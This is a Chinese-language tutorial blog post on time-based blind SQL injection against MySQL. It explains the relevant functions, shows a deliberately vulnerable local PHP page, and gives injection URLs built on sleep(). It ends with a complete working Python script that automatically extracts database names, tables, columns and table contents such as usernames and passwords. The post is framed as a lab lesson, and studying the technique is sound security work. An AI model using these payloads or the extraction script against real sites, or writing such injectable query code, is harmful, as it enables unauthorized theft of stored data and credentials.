SQL注入原理-时间盲注
? ? ? ? 小伙伴們大家好!本期為大家帶來的是SQL注入原理之時間盲注。
目錄
使用環境
常見函數與語句
sleep()函數
if語句
substr()函數
ord()函數?
length()函數?
實戰演示
1、判斷是否存在注入點
2、使用時間盲注爆出數據
1、爆出當前數據庫名的長度
2、爆出數據庫名長度
3、爆出表名、字段名以及表中數據
使用環境
? ? ? ? 有的網站頁面,在我們輸入參數后,我們我們傳入的參數使得后端SQL語句正確與否,頁面都沒有任何明顯的變化,這就讓我們很難判斷,頁面是否存在注入點,并且后端也沒有使用報錯函數來爆出錯誤信息,這樣的話就非常的頭疼。
? ? ? ? 這到底應該怎么做呢?這時我們可以使用時間盲注來通過頁面的響應時間來判斷是否存在輸入點,并且跟進下一步的操作。
? ? ? ? 時間盲注就是通過拼接if語句,構造我們判斷的條件,根據條件的結果返回sleep()函數,使得頁面的響應時間比正常的響應時間長,這樣我們就可以一步一步的爆出我們想要的數據。
常見函數與語句
sleep()函數
sleep函數可以讓程序停止執行一段指定的時間。
使用形式sleep(time)
參數time:需要睡眠的時間(單位秒)
例如在MySQL中執行下面語句:
select sleep(3);MySQL顯示,執行語句使用了3秒。?
if語句
if語句跟excel的if語句比較類似,也是給出條件,如果條件正確返回一種結果,否則返回另一種結果。
使用形似if(condition, reslut1, result2)
參數condition:給出的條件,類型為bool類型
參數result1:如果condition為true,則返回result1
參數result2:如果condition為false,則返回result2
例如:
select if(1=2,'true','false');substr()函數
substr()函數是截取字符串的函數。
使用形式substr(string,start,length)
參數string :被截取的字符串
參數start :截取的起始位置
參數length :從截取位置截取的長度
使用下面語句體驗一下substr()的功能。
select substr("administrator",2,5);ord()函數?
ord()函數是返回一個字符的ASCII碼。
使用形式:ord(character)
參數character:為單個字符,如果是字符串的話,則只按照字符串的第一個字符計算。
例如:
select ord('a'); select ord('ab');?
length()函數?
length()函數是否返回一個字符串的長度。
使用形式為length(string)
參數string :為需要輸出其長度的字符串。
例如:
select length('abcdefg');實戰演示
源碼:
<?php// 連接數據庫$coon = mysqli_connect("127.0.0.1","root","root","test",3306);error_reporting(0);if (isset($_GET['id'])) {// 接受傳來的參數id$id = @$_GET['id'];// 執行的SQL語句$sql = "select id,username,password,phone,e_mail from guests where id=$id limit 0,1";$res = mysqli_query($coon, $sql);$row = mysqli_fetch_array($res);if ($row) {echo "<center><br/>";echo "<h1>You have successfully passed a parameter as the ID!</h1>";echo "</center>";}else{echo "<center></br>";echo "<h1>You have successfully passed a parameter as the ID</h1>";echo "</center>";}} else {echo "<center><br/>";echo "<h1>Please input a value as id!</h1>";echo "</center>";}1、判斷是否存在注入點
我們還是正常的構造payload:
http://127.0.0.1/opsql/sql11.php?id=1 and 1=2?
發現無論是and 1=1 還是and 1=2頁面的回顯都一樣。嘗試加入單引號,看是否為字符型注入。
http://127.0.0.1/opsql/sql11.php?id=1' and 1=2--+?
頁面回顯依然都一樣,嘗試了其他的符號閉合,也是無濟于事啊。
這可咋辦呢?
這時我們就大膽地使用一下時間盲注了。
構造payload:“http://127.0.0.1/opsql/sql11.php?id=1 and if(1=1,sleep(5),null)”
http://127.0.0.1/opsql/sql11.php?id=1 and if(1=1,sleep(5),null)這里呢為了顯示出相應的時間,我是使用的burpsuite來抓包,使用重發器來測試的。
說明存在注入點,我們可以使用時間盲注來爆出所需要的數據。
2、使用時間盲注爆出數據
1、爆出當前數據庫名的長度
構造payload:“http://127.0.0.1/opsql/sql11.php?id=1 and if(length(database())=3,sleep(5),null)?”
http://127.0.0.1/opsql/sql11.php?id=1 and if(length(database())=3,sleep(5),null)?length(database())=3時響應時間只有2毫秒,length(database())=4時,響應時間為5.018秒,說明當前數據庫的長度為4。
我們還可以構造payload:“http://127.0.0.1/opsql/sql11.php?id=1 and if(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(5),null)”
information_schema數據庫是MySQL5.0之后自帶的數據庫,infomation_schema數據下的schemata表存儲了所有數據庫名,information_schema數據庫下的tables表存儲了所有的表名,information_schema數據庫下的columns表存儲了所有的字段名。limit num1,num2 的作用使用顯示查詢結果索引為num1后num2個數據。例如payload中的limit 0,1 就是取查詢結果中索引為0位置后1個數據。? ?
通過增大num1的值來取出其他的數據庫名進行判斷其長度。
http://127.0.0.1/opsql/sql11.php?id=1 and if(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(5),null)我們也可以使用group_concat(),來判斷查詢結果中總的長度。
group_concat() 可以將我們查詢到的數據用“,”拼接起來。
????????構造payload:“http://127.0.0.1/opsql/sql11.php?id=1 and if(length((select group_concat(schema_name) from information_schema.schemata ))=18,sleep(5),null)”
http://127.0.0.1/opsql/sql11.php?id=1 and if(length((select group_concat(schema_name) from information_schema.schemata ))=18,sleep(5),null)2、爆出數據庫名長度
還是構造payload:
“http://127.0.0.1/opsql/sql11.php?id=1 and if(substr(database()='t',1,1),sleep(5),null)”
http://127.0.0.1/opsql/sql11.php?id=1 and if(substr(database()='t',1,1),sleep(5),null)當前數據庫的第一個字符如果為“t”,響應時間就會變長。
然后慢慢的增加長度
通過響應時間判斷,當前數據庫名的長度為test。
我們還可以使用ord()函數來判斷庫名的某個字符的ascii碼值,最后通過對照ascii碼表來爆出數據庫名。
payload:
“http://127.0.0.1/opsql/sql11.php?id=1 and if(ord(substr(database(),1,1))=116,sleep(5),null)”
http://127.0.0.1/opsql/sql11.php?id=1 and if(ord(substr(database(),1,1))=116,sleep(5),null)頁面響應時間為5.017秒,說明當前數據庫名的第一個字符的ascii碼值為116,查找ascii碼得知,ascii碼值為116的是字母“t”,這樣我們就可以慢慢的一步一步的爆出數據庫名了。
3、爆出表名、字段名以及表中數據
其實當我們能夠爆出數據庫名的時候,表名和字段名以及數據都已經不在話下了,只是時間問題,因為的表名或者字段名以及數據都特別的長。這時候我們不能傻傻的一個字符一個字符的在那里手工的猜解,我們可以嘗試寫一段腳本代碼,讓代碼來替我們猜解。
這里我是用python寫的,由于我們使用的sleep()函數,運行可能會需要一點時間。
代碼:
import requestsbaseURL = "http://127.0.0.1/opsql/sql11.php"def get_databases():"""獲取所有的數據庫名:return:"""databases_length = 0for num in range(0, 500):payload = f"?id=1 and if(length((select group_concat(schema_name) from information_schema.schemata))={num},sleep(5),null)"try:requests.get(url=baseURL + payload, timeout=1)except:databases_length = numbreakdatabases_name = ""for pos in range(1, databases_length + 1):for num in range(0, 255):payload = f"?id=1 and if(ord(substr((select group_concat(schema_name) from information_schema.schemata),{pos},1))={num},sleep(5),null)"try:requests.get(url=baseURL + payload, timeout=2)except:databases_name += chr(num)breakprint(databases_name)def get_database():"""獲取當前的數據庫名:return:"""database_length = 0for num in range(0, 100):payload = f"?id=1 and if(length(database())={num},sleep(5),null)"try:requests.get(url=baseURL + payload, timeout=1)except:database_length = numbreakdatabase_name = ""for pos in range(1, database_length + 1):for num in range(0, 255):payload = f"?id=1 and if(ord(substr(database(),{pos},1))={num},sleep(5),null)"try:requests.get(url=baseURL + payload, timeout=2)except:database_name += chr(num)print(database_name)def get_tables(table_schema):"""獲取指定數據庫下的所有表名:param table_schema: 指定數據庫:return:"""tables_length = 0for num in range(0, 1000):payload = f"?id=1 and if(length((select group_concat(table_name) from information_schema.tables where table_schema='{table_schema}'))={num},sleep(5),null)"try:requests.get(url=baseURL + payload, timeout=1)except:tables_length = numtables_name = ""for pos in range(1, tables_length + 1):for num in range(0, 255):payload = f"?id=1 and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema='{table_schema}'),{pos},1))={num},sleep(5),null)"try:requests.get(url=baseURL + payload, timeout=2)except:tables_name += chr(num)breakprint(tables_name)def get_columns(table_schema, table_name):"""獲取指定數據庫下指定表中的所有字段名:param table_schema: 指定數據庫:param table_name: 指定表:return:"""columns_length = 0for num in range(0, 1000):payload = f"?id=1 and if(length((select group_concat(column_name) from information_schema.columns where table_schema='{table_schema}' and table_name='{table_name}'))={num},sleep(5),null)"try:requests.get(url=baseURL + payload, timeout=1)except:columns_length = numbreakcolumns_name = ""for pos in range(1, columns_length + 1):for num in range(0, 255):payload = f"?id=1 and if(ord(substr((select group_concat(column_name) from information_schema.columns where table_schema='{table_schema}' and table_name='{table_name}'),{pos},1))={num},sleep(5),null)"try:requests.get(url=baseURL + payload, timeout=2)except:columns_name += chr(num)breakprint(columns_name)def get_data(table_schema, table_name, *column):"""獲取表中的數據:param table_schema: 指定數據庫名:param table_name: 指定表名:param column: 指定字段名:return:"""column_length = len(column)data_length = []for index in range(column_length):for num in range(0, 10000):payload = f"?id=1 and if(length((select group_concat({column[index]}) from {table_schema}.{table_name}))={num},sleep(5),null)"try:requests.get(url=baseURL + payload, timeout=1)except:data_length.append(num)breakdata = []for index in range(column_length):data_item = ""for pos in range(1, data_length[index] + 1):for num in range(0, 255):payload = f"?id=1 and if(ord(substr((select group_concat({column[index]}) from {table_schema}.{table_name}),{pos},1))={num},sleep(5),null)"try:requests.get(url=baseURL + payload, timeout=2)except:data_item += chr(num)breakdata.append(data_item)# 打印數據print("*" * 50)for index in range(column_length):print(f"{column[index]}", end="\t")print()data_item = []for index in range(column_length):data_item.append(data[index].split(","))for index in range(column_length):for item in data_item:print(f"{item[index]}", end="\t")print()print("*" * 50)if __name__ == '__main__':get_databases() # 獲取所有的數據庫名# get_database() # 獲取當前的數據庫名# get_tables("test") # 獲取指定數據庫下的所有表名# get_columns("test", "users") # 獲取指定數據庫下指定表中的所有字段名# get_data("test", "users", "id", "username", "password") # 獲取表中的數據運行截圖:
爆出所有的數據庫名
爆出當前的數據名:
?爆出指定數據庫下的所有表名:
爆出表下的所有字段:?
爆出表中的所有數據:
由于是時間盲注,所需的時間會比布爾盲注花費的時間更長一點。
OK這樣我們就一步一步的通過代碼利用布爾盲注得到了test數據庫下users表中的所有數據。
對于其他的數據庫,大家只需要改一改函數的參數就行了,剩下的任務就交給小伙伴們了!
總結
以上是生活随笔為你收集整理的SQL注入原理-时间盲注的全部內容,希望文章能夠幫你解決所遇到的問題。